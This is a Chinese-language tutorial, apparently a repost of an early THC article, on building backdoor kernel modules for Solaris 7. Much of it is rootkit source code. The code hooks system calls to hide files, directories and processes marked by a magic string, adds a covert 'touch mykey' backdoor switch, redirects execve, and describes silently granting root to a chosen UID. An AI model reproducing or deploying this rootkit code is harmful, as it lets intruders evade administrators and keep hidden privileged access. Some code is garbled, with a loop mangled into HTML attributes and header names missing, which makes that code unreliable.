您的位置:寻梦网首页编程乐园Java天地JSP 专辑JSP001 HTML 离线版
Java 天地
JSP001 HTML 离线版
精选文章 >> solaris 专栏 >> Solaris 可装载内核模块

由 fei 发布于: 2001-02-12 13:59

1 介绍

可装载内核模块是内核体系结构中的重要一环。它们在内核空间中为硬件设备和数据提供了一个接口。大多数Unix系统都使用可装载内核模块,以在外围设备与核心之间提供最大限度的交互功能。

由于内核模块具有这些特点,而且它们是在底层影响操作系统并能以一种有效且难以被检测到的方式管理系统,攻击者对内核模块发生了浓厚兴趣。在过去的几年中,一些Unix系统下(例如在Linux和FreeBSD下)的包含后门的可装载模块已经被公开发布。本文则讲述了在Solaris 7(Sparc/Intel平台)下开发"后门"模块的技术。本文中所涉及的模块没有在Solaris 2.6(Sparc)下测试过,如果你对测试这些模块感兴趣,请与我联系。

尽管本文所讲的大部分内容都已经在多个运行Solaris 7(Ultra Sparc/Sparc/x86)和Solaris 2.6(Ultra Sparc)系统的计算机上测试过,它们仍然可能会让你的系统当掉甚至毁坏你的系统。所以在使用slkm-1.0.tar.gz中的模块程序时一定要小心,请先备份重要数据。

另外需要说明的是,这些模块不是用Sun的C编译器(cc)编译的,而是用GNU的C编译器(gcc)编译的(它可以从sunfreeware.com下载)。

本文以及所附程序都只是为了教育目的,我强烈建议你不要在不属于你或者你无权操作的系统上使用这些模块!

2 装载和卸载内核模块

Solaris的很多功能都使用了内核模块,例如: ip/tcp,scsi,ufs等等。由其他的开发商和作者提供的工具也用到了这种机制,比如,ipf,pppd,oss等等。你可以用命令/usr/sbin/modinfo来得到所有已经装载模块的列表。

# modinfo
Id Loadaddr Size Info Rev Module Name
4 fe8c6000 313e 1 1 specfs (filesystem for specfs)
6 fe8ca414 2258 1 1 TS (time sharing sched class)
7 fe8cc228 4a2 - 1 TS_DPTBL (Time sharing dispatch table)
8 fe8cc27c 194 - 1 pci_autoconfig (PCI BIOS interface)
#
"Id"就是模块号,"Loadaddr"是该模块的文本段的起始地址,"Size"是模块文本段,数据段再加上BSS段的大小(以16进制方式表示),"Info"是该模块的特定信息,"Rev"是该可装载模组系统的版本号,"Module Name"则是该模块的文件名与描述。

设备驱动程序和伪设备驱动程序模块包含有一个Info号码。而那些不与设备通信的模块就不包含这些信息,这种模块也称为"其它"("misc")模块。既然我们要开发的是一个攻击模块,我们稍后也将产生一个这样的"其它"模块。有两个命令可以用来装载和卸载内核模块: /usr/sbin/moload和/usr/sbin/modunload。modload的命令行参数是模块名,而modunload的参数则是"-i ID",这里的ID是一个已经装载的模块的id号(参见上面提到的modinfo命令)

# modinfo -i 125
Id Loadaddr Size Info Rev Module Name
125 fe95959c 125 - 1 flkm (First Loadable Kernel Module)
# modunload -i 125
3 Solaris下内核模块的基本结构
在Solaris下,为了将内核模块装入系统,需要很多已定义的变量。这是与Linux内核模块的一个主要不同之处,Linux下可以通过使用init_module()和cleanup_module()函数来很容易的创建一个模块。(可以参看pragmatic写的关于Linux和FreeBSD的内核模块的文章)

3.1 标准的头文件和结构定义
虽然我们并不想开发一个设备驱动程序的模块,我们仍然不得不包含进DDI,SunDDI和modctl的头文件,因为它们为我们提供modlinkage和mod_ops等结构的定义。在一个模块程序中的开始几行通常是这样的:

#include
#include
/*
* 这是内核模块的wrapper.
*/
#include
extern struct mod_ops mod_miscops;
/*
* 模块的连接信息。
*/
static struct modlmisc modlmisc = {
&mod_miscops,
"First Loadable Kernel Module",
};
static struct modlinkage modlinkage = {
MODREV_1,
(void *)&modlmisc,
NULL
};
从上面的程序可以看出,我们在模块程序中包含了一些外部结构,并在modlmisc结构中定义了这个内核模块的名字。modlinkage结构中引用了modlmisc结构,它告诉核心这不是一个设备驱动程序模块,用modinfo查看时将不会显示Info标志。如果你想查看这些结构的细节内容或者想自己开发驱动设备或者伪设备驱动程序模块,可以看一下这些man手册内容:modldrv(9S),modlinkage(9S) 和modlstrmod(9S). 如果你只是想了解什么是"后门",只要继续往下读就好了。

3.2 如何隐藏模块
如果我们在modlmisc结构中将模块名改为空字符串(""),那么modinfo命令将不会显示这个模块,尽管它已经被装入内核而且它的ID号也被保留。这个特点可以让我们用来隐藏模块,如果你知道模块的ID,你仍然可以将其卸载。找到这个ID也很简单,只要比较一下装载该模块前后的所有模块ID信息:

# modinfo
Id Loadaddr Size Info Rev Module Name
[...]
122 fe9748e8 e08 13 1 ptem (pty hardware emulator)
123 fe983fd8 1c0 14 1 redirmod (redirection module)
124 fe9f60a4 cfc 15 1 bufmod (streams buffer mod)
# modload flkm
# modinfo
Id Loadaddr Size Info Rev Module Name
[...]
122 fe9748e8 e08 13 1 ptem (pty hardware emulator)
123 fe983fd8 1c0 14 1 redirmod (redirection module)
124 fe9f60a4 cfc 15 1 bufmod (streams buffer mod)
126 fe9f8e5c 8e3c 13 1 pcfs (filesystem for PC)
127 fea018d4 19e1 - 1 diaudio (Generic Audio)
128 fe94aed0 5e3 72 1 ksyms (kernel symbols driver)
我们可以看到,在我们的空名字的模块装入后,Id 125就为它保留了。以后再装入的模块将从126开始编号。因此如果我们想卸载它,只要卸载ID号125的模块就可以了。由于当你使用modunload卸载一个不存在的模块时,modunload并不会返回一个错误,因此没有人能通过使用modinfo或者modunload命令来检测我们的模块。在本文的下一个版中将讲述一种彻底避免我们的模块被列出和卸载的方法。这只能通过修改Solaris模块ksyms(它列出和管理所有的内核标记)来完成。不过即使是这种使用空模块名的办法,也可以满足你的需要,如果你的系统管理员不是一个真正的系统程序员的话。:-)

3.3 三个基本的调用:_ini(),_fini()和_info()
在Soarlis下,一个内核模块必须至少包括以下三个函数: _init(), _fini() 和 _info()。_init()初始化一个可装载模块,它在任何其他的函数之前被调用。在一个_init()函数中你需要调用另外一个函数mod_install(),它用modlinkage结构作为它的参数。_init()返回被mod_install()返回的值。这个返回值是为了装载模块时进行错误处理之用。

int _init(void)
{
int i;
if ((i = mod_install(&modlinkage)) != 0)
cmn_err(CE_NOTE,"Could not install module\n");
else
cmn_err(CE_NOTE,"flkm: successfully installed");
return i;
}
_info()函数返回一个可装载模块的有关信息,在这个函数里需要调用mod_info()函数。如果我们在modinfo结构中使用空名字,mod_info()将不会返回信息给/usr/sbin/modinfo命令。

int _info(struct modinfo *modinfop)
{
return (mod_info(&modlinkage, modinfop));
}
_fini()用来为卸载模块做准备。当系统想要卸载一个模块时,_fini()就被调用。在_fini()函数中必须调用mod_remove()函数,为了了解是否在卸载模块时发生了错误,_fini()会返回一个值(由mod_remove()函数返回).

int _fini(void)
{
int i;
if ((i = mod_remove(&modlinkage)) != 0)
cmn_err(CE_NOTE,"Could not remove module\n");
else
cmn_err(CE_NOTE,"flkm: successfully removed");
return i;
}
在下列Solaris man手册中可以找到有关这些调用的更详细的资料:_info(9E)和mod_install(9F).如果你在一个运行模块中调用cmn_err()函数时,使用了CE_NOTE级别,那么输出将被作为一个notice(注意)传递给syslogd。cmn_err()是一个用来从核心空间输出信息的函数。如果你正在调试你的模块,它也能用来设置运行等级。

3.4 编译和链接模块
编译一个模块是非常简单的。你所做的只是做一些定义,说明被包含的程序将作为一个内核而不是一个普通的可执行文件。你应当总是用"-r"参数来连接你的模块的目标文件,否则这个模块不会被装载,因为核心模块连接器将不能连接这个模块。

gcc -D_KERNEL -DSVR4 -DSOL2 -O2 -c flkm.c
ld -o flkm -r flkm.o
Solaris内核并不象Linux内核那样包含很多标准的C函数,因此如果你想用这些标准的libC函数,你需要从/lib/libc.a中提取它们并且用ar命令连接到你的模块中。

ar -x /lib/libc.a memmove.o memcpy.o strstr.o
ld -o flkm -r flkm.o memmove.o memcpy.o strstr.o
在我的例子中,我包含了一个"DEBUG"开关,这个开关将激活很多调试输出信息。当然还有一些其他的内核函数可以帮助你调试,比如 ASSERT().

--> 模块: flkm.c
slkm-1.0.tar.gz中的flkm.c(First Loadable Kernel Module)模块是一个简单的例子,用来解释3.1-3.4节中所讲的内容。它构造了一个空的但可以工作的模块,该模块可以很容易的装入内核。

-------------------------------------------------------------------------------
4. 系统调用的重定向和内存管理
如果你要写一个后门模块而不是要开发自己的函数,那么重定向系统调用就显得很重要了.你可以将普通的系统调用重定向到你写的伪调用函数,然后就可以做你想做的事了.如果你想了解伪系统调用的基本概念,可以到www.infowar.co.uk看一下pragmatic的文章.

4.1 Solaris下的系统调用
Solaris下的系统调用都保存在一个sysent[]数组中.这个数组的每一项都指向一个结构,其中包含一个系统调用的相关信息.所有系统调用的值都可以在/usr/include/sys/syscall.h中找到.如果你认真察看这些系统调用的话,你会发现它们和Linux系统调用的头文件有一些显著的不同.因此如果你试图将一个Linux的内核模块移植到Soarlis的话,请一定小心.

Solaris下的系统调用全都保存在一个sysent[]数组里面.这个数组中的每一项都指向一个结构,该结构含有有关某个系统调用的信息.所有系统调用的值都可以从/usr/include/sys/syscall.h中找到.如果你更仔细的看一下这些系统调用表的话,你会发现它们与Linux的系统调用确实有一些显著的不同.因此,如果你要将一个Linux的内核模块移植到Soarlis的话,一定要小心.

在Solaris下,一些文件系统相关的函数并不使用open(),creat()这样的系统调用,而是使用open64(),creat64()等系统调用.在你试图在Soarlis下重定向一个系统调用时,最好先用/usr/bin/truss来跟踪一下程序,看看它到底使用了哪些系统调用.例如,ps使用open()调用来检查proc树中的文件,而cat则使用open64()来从文件系统中打开一个文件,即使这个文件也在proc树中.让我们来看一些例子:

/* 我们首先要宣称一下原来的系统调用 */
int (*oldexecve) (const char *, const char *[], const char *[]);
int (*oldopen64) (const char *path, int oflag, mode_t mode);
int (*oldread) (int fildes, void *buf, size_t nbyte);
int (*oldcreat64) (const char *path, mode_t mode);
[...]
/* 定义我们自己的creat64() */
int newcreat64(const char *path, mode_t mode)
{
[...]
int _init(void)
{
int i;
/* 根据modlinkage结构进行初始化 */
if ((i = mod_install(&modlinkage)) != 0)
cmn_err(CE_NOTE,"Could not install module\n");
#ifdef DEBUG
else
cmn_err(CE_NOTE,"anm: successfully installed");
#endif
/* 保存原来的系统调用的地址 */
oldexecve = (void *) sysent[SYS_execve].sy_callc;
oldopen64 = (void *) sysent[SYS_open64].sy_callc;
oldcreat64 = (void *) sysent[SYS_creat64].sy_callc;
oldread = (void *) sysent[SYS_read].sy_callc;
/* 将新的系统调用的地址填到sysent数组的相应位置 */
sysent[SYS_execve].sy_callc = (void *) newexecve;
sysent[SYS_open64].sy_callc = (void *) newopen64;
sysent[SYS_creat64].sy_callc = (void *) newcreat64;
sysent[SYS_read].sy_callc = (void *) newread;
return i;
}
上面就是在3.3节中提到的_init()函数,在初始化完模块后,我们将储存在sysent[].sy_callc中的原系统调用的指针拷贝到另外一些指针中去(这些指针在模块的开始处被定义).这和在Linux模块中所做的一样.

在保存了旧指针后,我们将新的系统调用(例如int newcreat64(const char *path,mode_tmode)拷贝到sysent[]数组中的相应结构成员中.

4.2 产生错误信息

一些常用的内核模块产生错误信息的方法在Solaris下并不工作.在/usr/include/sys/errno.h中列出了一些所谓的错误代码,但这些代码不应以下列方式被返回:return -ENOENT;

尽管上述代码也能工作,但既然一个返回的负值并不能告诉Solaris发生了什么错误,因此我们应该用set_errno()函数来解决这个问题.

set_errno(ENOENT);

return -1;
即使你在伪造一个错误信息,你也应该告诉你的操作系统是什么出问题了.:-)

4.3 在内核中分配内存空间
在内核中,你不能用alloc()和malloc()函数来分配内存,因为内核的内存空间与用户内存空间是隔离的.Solaris提供了两个函数来分配和释放内核内存.

name = (char *) kmem_alloc(size, KM_SLEEP);
kmem_free(name,size);
kmem_alloc()分配size字节大小的内核内存,并返回一个指针,指向已经分配的内存区域.被分配的内存大小至少是双字的整数倍,以便能容纳任意的C语言的数据结构.第二个参数决定是否调用者可以进入休眠状态.KM_SLEEP型分配可能暂时休眠,但却保证可以成功分配内存;KM_NOSLEEP型分配保证不进入休眠态,但如果当前没有内存可供分配,它就会失败(返回空值).只有在用来中断上下文时,我们才应该使用KM_NOSLEEP分配内核内存.其他情况下都不应该使用它.用kmem_alloc()分配的内存中都是一些随机的数据.已分配的内存要用kmem_free(name,size)来释放,size就是已分配内存的大小.需要特别注意的是: 如果你释放的内存超过了你分配的实际大小,可能会有大麻烦了,因为某些本不该释放的内存被释放了.

在Solaris 2.7 (x86)下,可以用memcpy()来完成在用户和内核空间之间传递数据的任务,而不需要其他特别的命令.但在Solaris (Sparc)下这种办法就行不通了.为了解决这个问题,需要用函数copyin()和copyout()来在用户和内核内存中传递数据.

如果你要从用户空间将以空字节终止的字符串拷贝到内核空间的话,你可以用copyinstr(),它的函数原型是 copyinstr(char *src, char *dst, size_t length, size_t size)length定义有多少字节要读,而size是实际读取的字节数.

这些函数的完整定义可以在下列Solaris man手册中查到:

kmem_alloc(9F), copyin(9F) and copyout(9F).

下面给出一个简单的例子:
/* 以KM_SLEEP方式分配256个字节内核空间 */
name = (char *) kmem_alloc(256, KM_SLEEP);
/* 从filename(用户空间)中拷贝256字节内容到name中(内核空间) */
copyin(filename, name, 256);
/* 如果name与oldcmd内容一致 ,则将newcmd(内核空间)内容拷贝到
filename(用户空间)中去
*/
if (!strcmp(name, (char *) oldcmd)) {
copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1);
cmn_err(CE_NOTE,"sitf: executing %s instead of %s", newcmd, name);
}
如果你不需要分配内核空间,比如你只是想比较一些值,你也可以用memcpy()函数.但memcpy在Ultra Sparc平台下并不工作.用copyinstr()来从用户空间将以空字符终止的字符串拷贝到内核空间中,然后你就可以比较它们了.copyinstr的函数原型是:

copyinstr(char *src, char *dst, size_t n, size_t n)
--> 模块: anm.c
在slkm-1.0.tar.gz中包含的anm.c(Administrator's NightMare)模块并不是个很有用的模组.它只是在调用下列系统调用:execve(),open64(),read()时随机产生一些系统错误.随机错误的范围可以通过下面三个变量来设定:

int open_rate = 200;
int read_rate = 8000;
int exec_rate = 400;
这些值已经在一台工作站上测试过了.整个系统工作正常,只是不时的会产生一些小错误,使得它看起来象一台糟糕的廉价Solaris(当然其实不是).

为了激活或者禁止这些错误显示,我提供了一个开关.在5.3小节中我会详细解释.当模块被装入以后,可以通过在命令行中输入"touch my_stupid_key"命令来切换开关.

这个命令来激活/禁止anm.c中的函数.如果你使用了正确的key(它在模块中定义),你就会得到一个错误信息而不时产生一个"my_stupid_key"文件.

-------------------------------------------------------------------------------
5 利用模块创建"后门"
这里采用的一些"后门"方法大都来源于plaguez的itf.c程序和pragmatic写的Linux模块的文章.其中的一些可以象原来那样直接使用,另外一些需要重写.如果你仔细看slkm-1.0.tar.gz中的sitf0.1.c和sitf0.2.c程序,你会找到一些在本文中未提到的后门.这些函数可以毫无问题的从Linux或者FreeBSD模块中移植过来.我认为它们已经在其他的几篇文章中被仔细讨论过了,这里就不再赘述了.

5.1 从getdents64()中隐藏文件
如果你跟踪一下ls或者du这样的命令,你会发现在Solaris系统使用getdents64()系统调用来接收目录的内容信息.因此我仔细研究了plaguez的修改getdents()调用隐藏文件的实现方法.我发现通过getdents64()得到目录内容比在Linux下更容易,而且不必在乎用户和内核空间.我简单的修改了他的代码,让它也能用于getdents64()和dirent64结构.有关getdents64()调用和它的结构的细节在下列Solaris man手册页中:

getdent(2), dirent(4)记住你不得不使用64位的变量,只要看看/usr/include/sys/dirent.h,你就会找到你要的东西.

我们的伪getdents64()调用的最终版内容如下:

/* 定义MAGIC字符串,所有文件名中包含这个字符串的文件将不被显示 */

#define MAGIC "CHT.THC"
char magic[] = MAGIC;
[...]
int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte)
{
int ret, oldret, i, reclen;
struct dirent64 *buf2, *buf3;/* 定义两个dirent64型的结构指针 */
/* 执行原来的getdents64,得到返回值 */
oldret = (*oldgetdents64) (fildes, buf, nbyte);
ret = oldret;
if (ret > 0) { /* 如果有内容返回的话 */
/* 在内核中分配ret字节的空间 */
buf2 = (struct dirent64 *) kmem_alloc(ret, KM_SLEEP);
/* 从buf(用户空间)拷贝ret字节的内容到buf2(内核空间) */
copyin((char *) buf, (char *) buf2, ret);
/* buf3指向buf2 */
buf3 = buf2;
i = ret;
while (i > 0) {
/* 得到当前目录项的长度 */
reclen = buf3->d_reclen;
/* 减去当前目录项长度 */
i -= reclen;
/* 检查当前文件/目录名是否包含MAGIC字符串 */
if (strstr((char *) &(buf3->d_name), (char *) &magic) != NULL) {
#ifdef DEBUG
cmn_err(CE_NOTE,"sitf: hiding file (%s)", buf3->d_name);
#endif
if (i != 0)
/* 如果不是最后一个目录项,将后面的目录项拷贝到buf3开头 */
memmove(buf3, (char *) buf3 + buf3->d_reclen, i);
else
/* 将距下一个目录项的距离设置为1024 */
buf3->d_off = 1024;
/* 总长度减去当前目录项的长度 */
ret -= reclen;
}
/*
* most people implement this little check into their modules,
* don't ask me, if some of the solaris fs driver modules really
* generate a d_reclen=0.
* correction: this code is needed for solaris sparc at least,
* otherwise you`ll find yourself back in a world of crashes.
*/
if (buf3->d_reclen <1) { ret i="0;" } if (i !="0)" /* buf3往后移动一条记录 */ buf3="(struct" dirent64 *) ((char *) buf3 + buf3->d_reclen);

}
/* 将buf2(内核空间)中的内容拷贝到buf(用户空间)中 */
copyout((char *) buf2, (char *) buf, ret);
/* 释放buf2 */
kmem_free(buf2, oldret);
}
/* 返回目录项总长度 */
return ret;
}
dirent结构看起来有点复杂,理解这段代码代码可能并不太容易,不过Linux也有dirent结构的信息,仔细阅读man手册以及相关的头文件,应该可以弄明白的,这里我就不再更详细的谈了.这里仍然有点小问题,如果MAGIC字符串在文件名中出现不止一次,这个模块工作就不能正常工作了,看起来strstr()函数在内核中工作时会有点问题.我计划在本文的第二版中解决这个问题.

5.2 隐藏目录和文件内容
这个主意来自pragamatic写的那篇关于Linux 内核模块的文章.如果我们的文件已经用5.2中的方法隐藏,尽管它们不能被列出,但仍然可以被人访问,目录也可以进入(如果别人知道它们的名字的话).如果我不想让别人看我的文件的内容,也不想别人进入我的隐含目录,我就会打开一个开关.(这个开关的设定将在5.3中祥述).

Solaris下系统调用open64()被用来打开文件供读写(该文件必须不是在/proc目录内的).如果要被打开的文件名中包含有我们的MAGIC字符串,并且设置了安全标志的话,我们的伪系统调用就会返回这样一个错误信息:"No such file or directory".

#define MAGIC "CHT.THC"
char magic[] = MAGIC;
int security = FALSE; /* 设置安全开关 */
[...]
/* 我们的新系统调用open64() */
int newopen64(const char *path, int oflag, mode_t mode)
{
int ret;
int len;
char namebuf[1028];

/* 得到旧系统调用的返回值 */
ret = oldopen64(path, oflag, mode);

if (ret >= 0) {
/* 将文件的全路径名复制到内核中 */
copyinstr(path, namebuf, 1028, (size_t *) & len);
/* 检查是否security标志为真,且文件名中包含MAGIC字符串 */
if (security && strstr(namebuf, (char *) &magic) != NULL) {
#ifdef DEBUG
cmn_err(CE_NOTE, "sitf: hiding content of file (%s)", namebuf);
#endif
/* 如果条件满足,设置假的出错信息,告知没有此文件或目录 */
set_errno(ENOENT);
return -1;
}
return ret;
}
}
系统调用chdir()用来改变当前目录.如果任何人试图进入一个包含magic字符串的目录,并且security标志又被设置了的话,我们的伪chdir()调用就将返回错误信息:

"No such file or directory"
int newchdir(const char *path)
{
char namebuf[1028];
int len;
copyinstr(path, namebuf, 1028, (size_t *) & len);

if (security && strstr(namebuf, (char *) &magic) != NULL) {
#ifdef DEBUG
cmn_err(CE_NOTE, "sitf: hiding directory (%s)", namebuf);
#endif
set_errno(ENOENT);
return -1;
} else
return oldchdir(path);
}
这两个函数与getdents64()一起可以保护所有你想隐藏的目录和文件,包括它们的内容.但是,如果你想方便的访问已经隐藏的文件,必须得有一个开关来切换文件的状态.

我们在第5.3小节中提供了一个远程开关的例子.
5.3 创建一个后门开关
在调查了一些常用的命令行程序后,我选择了/usr/bin/touch程序.它使用系统调用creat64().我发现这是放置一个后门开关的好地方.例如通过设置5.2小节中讲的security标志,这个开关可以打开或者关闭我们的模块.当然这不是真正安全的开关,因为系统管理员可能会监视你的一举一动,并发现你的可疑的touch调用.

首先我们必须定义一个关键字,它可以帮助我们打开或者关闭开关.
#define KEY "mykey" /* 定义 "mykey" 为关键字 */
char key[] = KEY;
[...]
int newcreat64(const char *path, mode_t mode)
{
char namebuf[1028];
int len;
copyinstr(path, namebuf, 1028, (size_t *) & len);
/* 检查是否文件名中包含关键字 */
if (strstr(namebuf, (char *) &key) != NULL) {
if (security) {
#ifdef DEBUG
cmn_err(CE_NOTE, "sitf: disabeling security");
#endif
/* 如果security变量原来是TRUE,将它设置成FALSE,关闭开关 */
security = FALSE;
} else {
#ifdef DEBUG
cmn_err(CE_NOTE, "sitf: enabeling security");
#endif
/* 否则设置为TRUE,打开开关 */
security = TRUE;
}
/* 设置无此文件的错误信息 */
set_errno(ENFILE);
/* 返回一个错误 */
return -1;
} else
/* 如果条件不成立就返回正确结果 */
return oldcreat64(path, mode);
}
当使用touch命令时,creat64()被调用.我们的伪creat64()函数先检查是否文件名中包含我们的关键字,然后打开或者关闭security标志.为了告诉我们是否开关切换成功,我们返回一个错误信息.(ENFILE,显示系统文件表已满).我想这是个很少碰到的错误信息.

5.4 隐藏进程 (利用proc文件系统)
在我注意到Solaris的proc结构之间,我找到了一种很基本的办法来使文件不被列出.这段代码仅仅是作为一个例子,因为它将耗费很多的CPU资源.

当用户执行ps或者top的时候,这些工具将从proc文件系统中读取数据,并返回它们的内容.保存有每个进程的相关信息的文件是psinfo.它保存在每个进程的目录下,例如/proc//psinfo,这个文件的内容在/usr/include/sys/procfs.h中有详细介绍

typedef struct psinfo {
int pr_flag; /* 进程标志 */
int pr_nlwp; /* 进程中的lwps序号 */
pid_t pr_pid; /* 进程id */
pid_t pr_ppid; /* 父进程id */
pid_t pr_pgid; /* 进程组id */
pid_t pr_sid; /* 会话id */
uid_t pr_uid; /* 真实用户id */
[...]

char pr_psargs[PRARGSZ]; /* 参数表的初始化字符串 */
int pr_wstat; /* 精灵进程的wait()状态 */
int pr_argc; /* 初始参数的数目 */
uintptr_t pr_argv; /* 参数向量的地址 */
uintptr_t pr_envp; /* 环境向量的地址 */
char pr_dmodel; /* 进程的数据模型 */
char pr_pad2[3];
int pr_filler[7]; /* 保留区域 */
lwpsinfo_t pr_lwp; /* 典型lwp的信息*/
} psinfo_t;
psinfo_t结构的字节数是固定的.结构成员pr_psargs含有可执行文件的名字以及参数.当文件名为"psinfo"时,我们的伪open()调用就会设置一个特殊的标志,通知接下来要读取这个文件的read()调用.需要注意的是,在Solaris中,访问/proc文件系统使用open()系统调用而不是open64()调用.

#define MAGIC "CHT.THC"
char magic[] = MAGIC;
char psinfo[] = "psinfo";
int psfildes = FALSE; /* 设置psinfo文件标志 */
[...]
/* 构造一个伪open()调用 */
int newopen(const char *path, int oflag, mode_t mode)
{
int ret;
/* 得到原来的open()调用返回的文件描述符 */
ret = oldopen(path, oflag, mode);
/* 检查是否路径名中含有psinfo字符串 */
if (strstr(path, (char *) &psinfo) != NULL) {
/* 如果包含,设置psfildes为正常的文件描述符 */
psfildes = ret;
} else
/* 如果不包含,将psfildes设置为false,表明这不是psinfo文件 */
psfildes = FALSE;
return ret;
}
我们还要修改read()函数,当它读取文件时,将检查是否从文件中读取的字节数与psinfo_t结构字节数一致,以及是否psfildes与该文件的文件描述符一致.然后,它将这个文件的内容拷贝到一个psinfo_t结构中,并比较可执行文件名是否包含magic字符串,这可以通过检查psinfo->pr_psargs数组来完成.如果在文件名中发现包含有magic字符串,read()将返回一个错误,这个进程项将不会在进程列表中显示.

ssize_t
newread(int fildes, void *buf, size_t nbyte)
{
ssize_t ret;
psinfo_t *info; /* 定义一个psinfo_t结构的指针 */
/* 得到正常read()调用的返回值 */
ret = oldread(fildes, buf, nbyte);
/* 检查是否描述符与psfildes相等,并且读取的字节数与psinfo_t结构大小一致 */
if (fildes > 0 && fildes == psfildes && nbyte == sizeof(psinfo_t)) {
/* 分配一个psinfo_t结构的空间给info */
info = (psinfo_t *) kmem_alloc(sizeof(psinfo_t), KM_SLEEP);
/* 将buf中的内容读取到info中去 */
copyin(buf, (void *) info, sizeof(psinfo_t));
/* 检查是否pr_psargs中包含magic字符串 */
if (strstr(info->pr_psargs, (char *) &magic) != NULL) {
#ifdef DEBUG
cmn_err(CE_NOTE,"hiding process: %s", info->pr_psargs);
#endif
/* 如果包含magic字符串,释放分配的内存 */
kmem_free(info, sizeof(psinfo_t));
/* 设置错误信息 */
set_errno(ENOENT);
return -1;
} else
kmem_free(info, sizeof(psinfo_t));
}
return ret;
}
这其实并不是一种很好的隐藏进程的办法.因为它修改open64()和read()调用,这两个系统总是非常频繁的被调用,因此会加重CPU的负载.我们将在5.6节中介绍一种更快的方法.

---> 模块: sitf0.1.c

sitf0.1.c (Solaris Integrated Trojan Facility)中演示了所有上面所提到的内容.它可

以通过下面三个变量进行设置:
#define MAGIC "CHT.THC"
#define KEY "mykey"
#define UID 1001
如果一个进程或者文件包含MAGIC字符串,它将不会被任何工具列出来(包括ls,ps,top...)如果security标志也被设置,这些文件的内容将同样不能访问.你可以用touch命令切换security标志.KEY定义了touch所用的参数.

比如:

$ touch mykey
如果一个用户的id等于UID中定义的值.当他登录时,他会被自动变为root.你可以在编译的时候定义DEBUG,这样就可以通过syslogd监视这个模块的所有的活动.

5.5 重定向execve()系统调用
在Solaris(Sparc)下重定向一个execve()调用真的是一个很大的挑战.因为这要涉及到在内核中为用户空间分配内存.下面的方法没有在用户空间中分配内存,而只是简单的用要执行的新命令名重写定义的缓冲区.尽管我已经测试了很多次,也没有碰到任何问题,我还是建议你等着看我这篇文章的下一版,我将采用一些其他的办法来正确分配用户空间的内存.

#define OLDCMD "/bin/who" /* 定义旧命令 */
#define NEWCMD "/usr/openwin/bin/xview/xcalc" /* 定义新命令 */
char oldcmd[] = OLDCMD;
char newcmd[] = NEWCMD;
[...]
int newexecve(const char *filename, const char *argv[], const char *envp[])
{
int ret;
char *name;
unsigned long addr;
name = (char *) kmem_alloc(256, KM_SLEEP);
/* 将要执行的文件名复制到name中 */
copyin(filename, name, 256);
/* 检查是否文件名与已定义的旧命令名一致 */
if (!strcmp(name, (char *) oldcmd)) {
/* 如果一致,将新文件名拷贝到fiename中 */
copyout((char *) newcmd, (char *) filename, strlen(newcmd) + 1);
#ifdef DEBUG
cmn_err(CE_NOTE,"sitf: executing %s instead of %s", newcmd, name);
#endif
}
kmem_free(name, 256);
/* 继续执行旧的oldexecve()系统调用,注意这时filename已经改成了新命令 */
return oldexecve(filename, argv, envp);
}
<* 译者注: 直接将内核中的字符串拷贝到用户空间的buffer中是比较危险的做法. 原作者也并不推荐使用.在Linux下,是通过用brk()系统调用在用户空间分配一段内存, 然后将newcmd拷贝过去,再执行旧的execve()调用的.有兴趣的朋友可以看一下 pragmatic/THC写的<< Linux 可装载内核模块> >一文:

http://thc.inferno.tusculum.edu/files/thc/LKM_HACKING.html
*>
5.6 隐藏进程(利用proc结构)
这里讲的方法才是隐藏进程的正确办法.看一下/usr/include/sys/proc.h这个头文件,你会发现在porc_t结构中有一个成员是p_user,它是user型的结构.每个进程都拥有自己的一个proc_t结构.Solaris根据这个结构的内容在/proc//下产生相应的psinfo文件.

如果你看一下user结构在/usr/include/sys/usre.h中的定义,你会发现我们一直在寻找的东西:

typedef struct user {
[...]
/*
* Executable file info.
*/
struct exdata u_exdata;
auxv_t u_auxv[__KERN_NAUXV_IMPL]; /* aux vector from exec */
char u_psargs[PSARGSZ]; /* 执行参数 */
char u_comm[MAXCOMLEN + 1];
[...]
u_psargs[]数组包含了进程的执行文件名以及它的参数.这才是是检查是否应该隐藏这个进程的正确地方.在proc.h中有一个宏定义来帮助我们从proc_t中得到p_user表项:

/* Macro to convert proc pointer to a user block pointer */
#define PTOU(p) (&(p)->p_user)
如果我们已经知道proc_t结构在哪里,我们就可以得知每个进程的可执行文件名了.我们可以利用函数proc_t *prfind(pid_t)来从给定的进程id查找相应的proc_t结构.当一个工具要列出进程表时,它会访问/proc目录,这个目录下包含很多子目录,目录名就是进程号,我们可以在getdents64()中增加一个小小的检查,隐藏我们所希望的隐藏的进程.我写了个小函数check_for_process()用来完成这个检查的工作.

int newgetdents64(int fildes, struct dirent64 *buf, size_t nbyte)
[...]
while (i > 0) {
reclen = buf3->d_reclen;
i -= reclen;
/* 这里增加一个根据文件名(也是进程号)检查进程的函数 */
if ((strstr((char *) &(buf3->d_name), (char *) &magic) != NULL) ||
check_for_process((char *) &(buf3->d_name))) {
#ifdef DEBUG
cmn_err(CE_NOTE,"sitf: hiding file/process (%s)", buf3->d_name);
#endif
if (i != 0)
memmove(buf3, (char *) buf3 + buf3->d_reclen, i);
else
buf3->d_off = 1024;
ret -= reclen;
}
[...]
现在让我们来看看check_for_process()函数.在下列代码中我用了两个小函数:sitf_isdigit() 和 sitf_atoi(),分别用来判断是否是数字和将字符转化为数字.check_for_process()函数检查是否这个文件是在/proc中,并检查文件名是不是一个真正的进程id(由check_process()来完成).

int check_for_process(char *filename)
{
if (sitf_isdigit(filename) && check_process(sitf_atoi(filename)))
return TRUE;
else
return FALSE;
}
int check_process(pid_t pid)
{
proc_t *proc;
char *psargs;
int ret;
/* 根据pid查找相应的proc_t结构 */
proc = (proc_t *) prfind(pid);
/* 分配为psargs分配内核空间 */
psargs = (char *) kmem_alloc(PSARGSZ, KM_SLEEP);
/* 判断返回值是否有效 */
if (proc != NULL)
/* 将u_psargs拷贝到psargs中.
* PTOU(proc)->u_psargs也是在内核空间的,所以我们不需要用特别
* 拷贝命令
*/
memcpy(psargs, PTOU(proc)->u_psargs, PSARGSZ);
else
/* 如果返回值无效,返回假 */
return FALSE;
/* 检查是否进程参数中包含magic字符串 */
if (strstr(psargs, (char *) &magic) != NULL)
/* 如果包含,返回真 */
ret = TRUE;
else
/* 否则,返回假 */
ret = FALSE;
/* 释放分配的内存 */
kmem_free(psargs, PSARGSZ);
return ret;
}
---> 模块: sitf0.2.c
